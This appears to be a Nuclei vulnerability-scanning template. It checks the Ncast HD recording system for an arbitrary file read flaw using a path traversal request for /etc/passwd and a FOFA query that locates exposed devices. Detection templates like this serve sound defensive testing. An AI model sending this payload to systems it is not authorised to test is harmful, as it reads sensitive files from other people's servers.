id: ncast-lfi

info:
  name: Ncast HD Intelligent Recording - Arbitrary File Reading
  author: pussycat0x
  severity: high
  description: |
    Ncast HD intelligent recording and broadcasting system has an arbitrary file reading vulnerability.
  reference:
    - https://github.com/wy876/POC/blob/main/Ncast%E9%AB%98%E6%B8%85%E6%99%BA%E8%83%BD%E5%BD%95%E6%92%AD%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  metadata:
    fofa-query: app="Ncast-产品" && title=="高清智能录播系统"
    verified: true
    max-request: 1
  tags: ncast,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/developLog/downloadLog.php?name=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/force-download"

      - type: status
        status:
          - 200
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